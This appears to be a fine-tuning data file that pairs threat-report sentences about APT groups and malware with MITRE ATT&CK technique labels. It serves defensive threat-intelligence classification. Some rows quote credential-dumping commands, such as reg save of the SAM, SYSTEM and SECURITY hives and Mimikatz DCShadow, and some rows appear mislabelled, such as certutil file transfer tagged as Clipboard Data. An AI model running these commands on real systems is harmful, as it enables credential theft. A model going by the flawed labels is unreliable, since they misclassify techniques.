The actors used a Powershell cmdlet (NewManagementRoleAssignment) to grant the 'ApplicationImpersonation' role to a compromised account.,['T1098.002 - Account Manipulation: Additional Email Delegate Permissions'],fine_tune
"The actors used the ntdsutil.exe utility, which was present on a target's Active Directory® server to export the Active Directory database for credential access.",['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
"The actors used a variety of utilities, including publicly available versions of WinRAR® , to archive collected data with password protection.",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"The actors used certutil.exe, a known Living Off the Land"" technique, to transfer a file into a target environment.""",['T1115 - Clipboard Data'],fine_tune
"The Iranian government-sponsored APT actors may have made modifications to the Task Scheduler. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity: SynchronizeTimeZone GoogleChangeManagement MicrosoftOutLookUpdater MicrosoftOutLookUpdateSchedule",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
The part of the malicious code that drops and executes a payload is nearly identical between the two samples. The legitimate Windows executable C:\Windows\System32\colorcpl.exe is copied to the new directory C:\ProgramData\PackageColor and the embedded payload is written to C:\ProgramData\PackageColor\colorui.dll.,['T1218 - Signed Binary Proxy Execution'],fine_tune
"Either via the LNK after startup, or directly via the VBS, the command line “wscript.exe //B //E:vbs C:\Users\Public\Favorites\desktop.ini” is executed, referencing the helper file dropped by the sample mentioned above. Finally, the file C:\Users\Public\ignit.vbs is deleted after execution.",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
“desktop.ini” is used to invoke regasm.exe to launch the payload found in C:\Users\Public\Libraries\core.dll as a hidden window without returning any error codes.,['T1622 - Debugger Evasion'],fine_tune
The actor's CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"The Chrome extension is installed and maintained by a number of plist files written to the user directory ~/Library/LaunchAgent/. To conceal the malicious behavior, the underlying commands in the plist files are obfuscated with Base64 encoding.",['T1647 - Plist File Modification'],fine_tune
"The first plist, ~/Library/LaunchAgents/com.safarii.extension.plist, does not use a StartInterval value like the Chrome variant, but instead uses RunAtLoad. The RunAtLoad parameter is executed when the user logs into their computer. Note that the plist file does not use the correct spelling of Safari. ",['T1647 - Plist File Modification'],fine_tune
An attacker runs the MimiKatz tool and launches a DCShadow attack (lsadump::dcshadow),['T1207 - Rogue Domain Controller'],fine_tune
"The Nefilim ransomware uses a batch file to stop services and kill processes in the local host. This batch file abuses taskill.exe using CMD to kill predefined services and processes in the target host. Nefilim distributes this batch file to multiple hosts using two batch files. One of the batch files uses the ‘copy’ command, and the other one uses WMI with hard-coded admin credentials.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Nefilim removes itself from the target systems after infection with the following code: del C:\Users\admin\AppData\Local\Temp\<ransomware_file_name>.exe"" /s /f /q""",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The Nefilim ransomware queries volume information (disk volume name and serial number) and Cryptographic Machine GUID. Ransomware families use  Cryptographic Machine GUID and volume serial number to generate a unique identifier for the host for encryption/decryption processes. Nefilim obtains Cryptographic Machine GUID by querying the value of MachineGuid in the following Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography,['T1082 - System Information Discovery'],fine_tune
"Mandiant identified a campaign where the threat actors gained access to the target organization’s Microsoft 365 environment using a stolen session token. Mandiant analyzed the workstations belonging to the end user and discovered that some systems had been infected with CRYPTBOT, an info-stealer malware, shortly before the stolen session token was generated. Mandiant observed that in some cases the user downloaded the malware after browsing to low reputation websites offering free, or “cracked”, software.",['T1550.004 - Web Session Cookie'],fine_tune
"when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point.",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
To facilitate the staging of BEACON on remote systems APT29 utilized a malicious certificate that allowed the group to impersonate a privileged user.,['T1588.004 - Digital Certificates'],fine_tune
"It can reflectively load a DLL/EXE in to the PowerShell process, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them.",['T1620 - Reflective Code Loading'],fine_tune
Like the function name says Invoke-ReflectivePEInjection loads an portable executable (PE) file or DLL into the current or remote process memory and executes this file in memory.,['T1620 - Reflective Code Loading'],fine_tune
Invoke-Mimikatz.ps1 is the PowerShell implementation of Mimikatz. The PowerShell script loads Mimikatz.exe reflectively into the process memory.,['T1620 - Reflective Code Loading'],fine_tune
"Files contained within image files, like mounted ISO files, will not contain the Zone.Identifier Alternate Data Stream (ADS) flag that indicates the files have been downloaded from the internet (so called “mark-of-the-web”) as reported by Didier Stevens.",['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
"We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this",['T1600 - Weaken Encryption'],fine_tune
"In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.",['T1571 - Non-Standard Port'],fine_tune
"During Operation Wocao, threat actors encrypted IP addresses used for ""Agent"" proxy hops with RC4.",['T1001 - Data Obfuscation'],fine_tune
FlawedAmmyy may obfuscate portions of the initial C2 handshake.,['T1001 - Data Obfuscation'],fine_tune
FunnyDream can send compressed and obfuscated packets to C2.,['T1001 - Data Obfuscation'],fine_tune
"Operation Wocao has encrypted IP addresses used for ""Agent"" proxy hops with RC4.",['T1001 - Data Obfuscation'],fine_tune
POWRUNER can use base64 encoded C2 communications.,"['T1001 - Data Obfuscation', 'T1132.001 - Data Encoding: Standard Encoding']",fine_tune
RDAT has used encoded data within subdomains as AES ciphertext to communicate from the host to the C2.,['T1001 - Data Obfuscation'],fine_tune
SLOTHFULMEDIA has hashed a string containing system information prior to exfiltration via POST requests.,['T1001 - Data Obfuscation'],fine_tune
SideTwist can embed C2 responses in the source code of a fake Flickr webpage.,['T1001 - Data Obfuscation'],fine_tune
"The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.",['T1001 - Data Obfuscation'],fine_tune
TrailBlazer can masquerade its C2 traffic as legitimate Google Notifications HTTP requests.,['T1001 - Data Obfuscation'],fine_tune
"Downdelph inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.",['T1001.001 - Junk Data'],fine_tune
GoldMax has used decoy traffic to surround its malicious network traffic to avoid detection.,['T1001.001 - Junk Data'],fine_tune
GrimAgent  can pad C2 messages with random generated values.,['T1001.001 - Junk Data'],fine_tune
Kevin can generate a sequence of dummy HTTP C2 requests to obscure traffic.,['T1001.001 - Junk Data'],fine_tune
P2P ZeuS added junk data to outgoing UDP packets to peer implants.,['T1001.001 - Junk Data'],fine_tune
P8RAT can send randomly-generated data as part of its C2 communication.,['T1001.001 - Junk Data'],fine_tune
SUNBURST added junk bytes to its C2 over HTTP.,['T1001.001 - Junk Data'],fine_tune
TrailBlazer has used random identifier strings to obscure its C2 operations and result codes.,['T1001.001 - Junk Data'],fine_tune
Turian can insert pseudo-random characters into its network encryption setup.,['T1001.001 - Junk Data'],fine_tune
WellMess can use junk data in the Base64 string for additional obfuscation.,['T1001.001 - Junk Data'],fine_tune
APT29 has used steganography to hide C2 communications in images.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
Axiom has used steganography to hide its C2 communications.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
Daserf can use steganography to hide malicious code downloaded to the victim.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
HAMMERTOSS is controlled via commands that are appended to image files.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
LightNeuron is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
RDAT can process steganographic images attached to email messages to send and receive C2 commands. RDAT can also embed additional messages within BMP images to communicate with the RDAT operator.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
Sliver can encode binary data into a .PNG file for C2 communication.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
"When the Duqu command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.",['T1001.002 - Data Obfuscation via Steganography'],fine_tune
Zox has used the .PNG file format for C2 communications.,['T1001.002 - Data Obfuscation via Steganography'],fine_tune
BADCALL uses a FakeTLS method during C2.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
Bankshot generates a false TLS handshake using a public certificate to disguise C2 network communications.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
"Cobalt Strike can mimic the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI.",['T1001.003 - Protocol or Service Impersonation'],fine_tune
FALLCHILL uses fake Transport Layer Security (TLS) to communicate with its C2 server.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
HARDRAIN uses FakeTLS to communicate with its C2 server.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
KeyBoy uses custom SSL libraries to impersonate SSL in C2 traffic.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
"Lazarus Group malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption.",['T1001.003 - Protocol or Service Impersonation'],fine_tune
"Okrum mimics HTTP protocol for C2 communication, while hiding the actual messages in the Cookie and Set-Cookie headers of the HTTP requests.",['T1001.003 - Protocol or Service Impersonation'],fine_tune
SUNBURST masqueraded its network traffic as the Orion Improvement Program (OIP) protocol.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
TAINTEDSCRIBE has used FakeTLS for session authentication.,['T1001.003 - Protocol or Service Impersonation'],fine_tune
APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims.,['T1003 - OS Credential Dumping'],fine_tune
APT32 used GetPassword_x64 to harvest credentials.,['T1003 - OS Credential Dumping'],fine_tune
APT39 has used different versions of Mimikatz to obtain credentials.,['T1003 - OS Credential Dumping'],fine_tune
Carbanak obtains Windows logon password details.,['T1003 - OS Credential Dumping'],fine_tune
"Dragonfly dropped and executed SecretsDump, a tool that dumps password hashes.",['T1003 - OS Credential Dumping'],fine_tune
Frankenstein has harvested credentials from the victim's machine using Empire.,['T1003 - OS Credential Dumping'],fine_tune
"KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera.","['T1003 - OS Credential Dumping', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
"Leviathan has used publicly available tools to dump password hashes, including HOMEFRY.",['T1003 - OS Credential Dumping'],fine_tune
OnionDuke steals credentials from its victims.,['T1003 - OS Credential Dumping'],fine_tune
"PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).",['T1003 - OS Credential Dumping'],fine_tune
"Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.",['T1003 - OS Credential Dumping'],fine_tune
Revenge RAT has a plugin for credential harvesting.,['T1003 - OS Credential Dumping'],fine_tune
Sowbug has used credential dumping tools.,['T1003 - OS Credential Dumping'],fine_tune
Suckfly used a signed credential-dumping tool to obtain victim account credentials.,['T1003 - OS Credential Dumping'],fine_tune
APT32 used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"APT39 has used Mimikatz, Windows Credential Editor and ProcDump to dump credentials.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"APT41 has used hashdump, Mimikatz, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Aquatic Panda has attempted to harvest credentials through LSASS memory dumping.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
BRONZE BUTLER has used various tools (such as Mimikatz and WCE) to perform credential dumping.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Blue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Cleaver has been known to dump credentials using Mimikatz and Windows Credential Editor.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Cobalt Strike can spawn a job to inject into LSASS memory and dump password hashes.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
CozyCar has executed Mimikatz to harvest stored credentials from the victim and further victim penetration.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Daserf leverages Mimikatz and Windows Credential Editor to steal credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"During Operation Wocao, threat actors used ProcDump to dump credentials from memory.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Earth Lusca has used ProcDump to obtain the hashes of credentials by dumping the memory of the LSASS process.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Emotet has been observed dropping password grabber modules including Mimikatz.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
FIN8 harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
GALLIUM used a modified version of Mimikatz along with a PowerShell-based Mimikatz to dump credentials on the victim machines.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
GreyEnergy has a module for Mimikatz to collect Windows credentials from the victim’s machine.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"HAFNIUM has used ""procdump"" to dump the LSASS process memory.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Kimsuky has gathered credentials using Mimikatz and ProcDump.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
LaZagne can perform credential dumping from memory to obtain account and password information.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"Leafminer used several tools for retrieving login and password information, including LaZagne and Mimikatz.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Lizar can run Mimikatz to harvest credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Magic Hound has stolen domain credentials by dumping LSASS process memory with comsvcs.dll and from a Microsoft Active Directory Domain Controller using Mimikatz.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSASS Memory.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
OilRig has used credential dumping tools such as Mimikatz to steal credentials to accounts logged into the compromised system and to Outlook Web Access.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Okrum was seen using MimikatzLite to perform credential dumping.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Operation Wocao has used ProcDump to dump credentials from memory.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
PLATINUM has used keyloggers that are also capable of dumping credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"PoetRAT used voStro.exe, a compiled pypykatz (Python version of Mimikatz), to steal credentials.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
PoshC2 contains an implementation of Mimikatz to gather credentials from memory.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
PowerSploit contains a collection of Exfiltration modules that can harvest credentials using Mimikatz.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Pupy can execute Lazagne as well as Mimikatz using PowerShell.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Pysa can perform OS credential dumping using Mimikatz.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
SILENTTRINITY can create a memory dump of LSASS via the `MiniDumpWriteDump Win32` API call.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Sandworm Team's plainpwd tool is a modified version of Mimikatz and dumps Windows credentials from system memory.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information.,"['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",fine_tune
Silence has used the Farse6.1 utility (based on Mimikatz) to extract credentials from lsass.exe.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Stolen Pencil gathers credentials using Mimikatz and Procdump.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"TEMP.Veles has used Mimikatz and a custom tool, SecHack, to harvest credentials.",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Whitefly has used Mimikatz to obtain credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Windows Credential Editor can dump credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Cobalt Strike can recover hashed passwords.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Dragonfly has dropped and executed SecretsDump to dump password hashes.,"['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",fine_tune
"During Night Dragon, threat actors dumped account hashes using gsecdump.",['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
"During Operation CuckooBees, the threat actors leveraged a custom tool to dump OS credentials and used following commands: `reg save HKLM\\SYSTEM system.hiv`, `reg save HKLM\\SAM sam.hiv`, and `reg save HKLM\\SECURITY security.hiv`, to dump SAM, SYSTEM and SECURITY hives.",['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Fgdump can dump Windows password hashes.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
HOPLIGHT has the capability to harvest credentials and passwords from the SAM database.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
"Ke3chang has dumped credentials, including by using gsecdump.","['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",fine_tune
Koadic can gather hashed passwords by dumping SAM/SECURITY hive.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table.",['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Mivast has the capability to gather NTLM password information.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Night Dragon has dumped account hashes with Carbanak and cracked them with Cain & Abel.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
POWERTON has the ability to dump password hashes.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Remsec can dump the SAM database.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
Threat Group-3390 actors have used gsecdump to dump credentials. They have also dumped credentials from domain controllers.,"['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",fine_tune
Wizard Spider has acquired credentials from the SAM/SECURITY registry hives.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
gsecdump can dump Windows password hashes from the SAM.,['T1003.002 - OS Credential Dumping: Security Account Manager'],fine_tune
"CrackMapExec can dump hashed passwords associated with Active Directory using Windows' Directory Replication Services API (DRSUAPI), or Volume Shadow Copy.",['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
HAFNIUM has stolen copies of the Active Directory database (NTDS.DIT).,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
Ke3chang has used NTDSDump and other password dumping tools to gather credentials.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
Koadic can gather hashed passwords by gathering domain controller hashes from NTDS.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
LAPSUS$ has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
"Mustang Panda has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. Mustang Panda has also used ""reg save"" on the SYSTEM file Registry location to help extract the NTDS.dit file.",['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information from NTDS.dit.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
Wizard Spider has gained access to credentials via exported copies of the ntds.dit Active Directory database.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
esentutl can use Volume Shadow Copy to copy locked files such as ntds.dit.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
menuPass has used Ntdsutil to dump credentials.,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
AADInternals can dump secrets from the Local Security Authority.,['T1003.004 - OS Credential Dumping: LSA Secrets'],fine_tune
APT33 has used a variety of publicly available tools like LaZagne to gather credentials.,"['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
CosmicDuke collects LSA secrets.,['T1003.004 - OS Credential Dumping: LSA Secrets'],fine_tune
CrackMapExec can dump hashed passwords from LSA secrets for the targeted system.,['T1003.004 - OS Credential Dumping: LSA Secrets'],fine_tune
"IceApple's Credential Dumper module can dump LSA secrets from registry keys, including: `HKLM\SECURITY\Policy\PolEKList\default`, `HKLM\SECURITY\Policy\Secrets\*\CurrVal`, and `HKLM\SECURITY\Policy\Secrets\*\OldVal`.",['T1003.004 - OS Credential Dumping: LSA Secrets'],fine_tune
"Leafminer used several tools for retrieving login and password information, including LaZagne.","['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
MuddyWater has performed credential dumping with LaZagne.,"['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials']",fine_tune
OilRig has used credential dumping tools such as LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access.,"['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores']",fine_tune
Cachedump can extract cached password hashes from cache entry information.,['T1003.005 - OS Credential Dumping: Cached Domain Credentials'],fine_tune
LaZagne can perform credential dumping from MSCache to obtain account and password information.,['T1003.005 - OS Credential Dumping: Cached Domain Credentials'],fine_tune
Okrum was seen using modified Quarks PwDump to perform credential dumping.,['T1003.005 - OS Credential Dumping: Cached Domain Credentials'],fine_tune
APT29 leveraged privileged accounts to replicate directory service data with domain controllers.,['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
"Earth Lusca has used a ""DCSync"" command with Mimikatz to retrieve credentials from an exploited controller.",['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
LAPSUS$ has used DCSync attacks to gather credentials for privilege escalation routines.,['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.",['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
Operation Wocao has used Mimikatz's DCSync to dump credentials from the memory of the targeted system.,['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
UNC2452 leveraged privileged accounts to replicate directory service data with domain controllers.,['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
LaZagne can obtain credential information running Linux processes.,['T1003.007 - OS Credential Dumping: Proc Filesystem'],fine_tune
MimiPenguin can dump process memory and extract clear-text credentials.,['T1003.007 - OS Credential Dumping: Proc Filesystem'],fine_tune
LaZagne can obtain credential information from /etc/shadow using the shadow.py module.,"['T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow']",fine_tune
"APT28 has retrieved internal documents from machines inside victim environments, including by using Forfiles to stage documents before exfiltration.",['T1005 - Data from Local System'],fine_tune
APT29 has extracted files from compromised networks.,['T1005 - Data from Local System'],fine_tune
APT3 will identify Microsoft Office documents on the victim's computer.,['T1005 - Data from Local System'],fine_tune
APT37 has collected data from victims' local systems.,['T1005 - Data from Local System'],fine_tune
APT39 has used various tools to steal files from the compromised host.,['T1005 - Data from Local System'],fine_tune
Action RAT can collect local data from an infected machine.,['T1005 - Data from Local System'],fine_tune
AppleSeed can collect data on a compromised host.,['T1005 - Data from Local System'],fine_tune
"AuTo Stealer can collect data such as PowerPoint files, Word documents, Excel files, PDF files, text files, database files, and image files from an infected machine.",['T1005 - Data from Local System'],fine_tune
Axiom has collected data from a compromised network.,['T1005 - Data from Local System'],fine_tune
BRONZE BUTLER has exfiltrated files stolen from local systems.,['T1005 - Data from Local System'],fine_tune
"BadPatch collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.",['T1005 - Data from Local System'],fine_tune
Bandook can collect local files from the system .,['T1005 - Data from Local System'],fine_tune
Bankshot collects files from the local system.,['T1005 - Data from Local System'],fine_tune
Bazar can retrieve information from the infected machine.,['T1005 - Data from Local System'],fine_tune
Bumblebee can capture and compress stolen credentials from the Registry and volume shadow copies.,['T1005 - Data from Local System'],fine_tune
Calisto can collect data from user directories.,['T1005 - Data from Local System'],fine_tune
Caterpillar WebShell has a module to collect information from the local database.,['T1005 - Data from Local System'],fine_tune
China Chopper's server component can upload local files.,['T1005 - Data from Local System'],fine_tune
Chrommme can collect data from a local system.,['T1005 - Data from Local System'],fine_tune
Clambling can collect information from a compromised host.,['T1005 - Data from Local System'],fine_tune
Cobalt Strike can collect data from a local system.,['T1005 - Data from Local System'],fine_tune
CookieMiner has retrieved iPhone text messages from iTunes phone backup files.,['T1005 - Data from Local System'],fine_tune
CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.,['T1005 - Data from Local System'],fine_tune
Crutch can exfiltrate files from compromised systems.,['T1005 - Data from Local System'],fine_tune
Cyclops Blink can upload files from a compromised host.,['T1005 - Data from Local System'],fine_tune
DRATzarus can collect information from a compromised host.,['T1005 - Data from Local System'],fine_tune
DnsSystem can upload files from infected machines after receiving a command with `uploaddd` in the string.,['T1005 - Data from Local System'],fine_tune
Dragonfly 2.0 collected data from local victim systems.,['T1005 - Data from Local System'],fine_tune
Dtrack can collect a variety of information from victim machines.,['T1005 - Data from Local System'],fine_tune
"During C0015, the threat actors obtained files and data from the compromised network.",['T1005 - Data from Local System'],fine_tune
"During Frankenstein, the threat actors used Empire to gather various local system information.",['T1005 - Data from Local System'],fine_tune
"During Night Dragon, the threat actors collected files and other data from compromised systems.",['T1005 - Data from Local System'],fine_tune
"During Operation CuckooBees, the threat actors collected data, files, and other information from compromised networks.",['T1005 - Data from Local System'],fine_tune
"During Operation Honeybee, the threat actors collected data from compromised hosts.",['T1005 - Data from Local System'],fine_tune
Dust Storm has used Android backdoors capable of exfiltrating specific files directly from the infected devices.,['T1005 - Data from Local System'],fine_tune
FIN7 has collected files and other sensitive information from a compromised network.,['T1005 - Data from Local System'],fine_tune
"FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system. FLASHFLOOD will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. FLASHFLOOD also collects information stored in the Windows Address Book.",['T1005 - Data from Local System'],fine_tune
FlawedAmmyy has collected information and files from a compromised machine.,['T1005 - Data from Local System'],fine_tune
"Forfiles can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).",['T1005 - Data from Local System'],fine_tune
FrameworkPOS can collect elements related to credit card data from process memory.,['T1005 - Data from Local System'],fine_tune
"Frankenstein has enumerated hosts via Empire, gathering various local system information.",['T1005 - Data from Local System'],fine_tune
FunnyDream can upload files from victims' machines.,['T1005 - Data from Local System'],fine_tune
Gamaredon Group has collected files from infected systems and uploaded them to a C2 server.,['T1005 - Data from Local System'],fine_tune
Goopy has the ability to exfiltrate documents from infected systems.,['T1005 - Data from Local System'],fine_tune
"GravityRAT steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.",['T1005 - Data from Local System'],fine_tune
Green Lambert can collect data from a compromised host.,['T1005 - Data from Local System'],fine_tune
GrimAgent can collect data and files from a compromised host.,['T1005 - Data from Local System'],fine_tune
"IceApple can collect files, passwords, and other data from a compromised host.",['T1005 - Data from Local System'],fine_tune
"InvisiMole can collect data from the system, and can monitor changes in specified directories.",['T1005 - Data from Local System'],fine_tune
Ixeshe can collect data from a local system.,['T1005 - Data from Local System'],fine_tune
KGH_SPY can send a file containing victim system information to C2.,['T1005 - Data from Local System'],fine_tune
KONNI has stored collected information and discovered processes in a tmp file.,['T1005 - Data from Local System'],fine_tune
Kazuar uploads files from a specified directory to the C2 server.,['T1005 - Data from Local System'],fine_tune
Ke3chang gathered information and files from local directories for exfiltration.,['T1005 - Data from Local System'],fine_tune
Kevin can upload logs and other data from a compromised host.,['T1005 - Data from Local System'],fine_tune
Koadic can download files off the target system to send back to the server.,['T1005 - Data from Local System'],fine_tune
Lazarus Group has collected data and files from compromised networks.,['T1005 - Data from Local System'],fine_tune
LightNeuron can collect files from a local system.,['T1005 - Data from Local System'],fine_tune
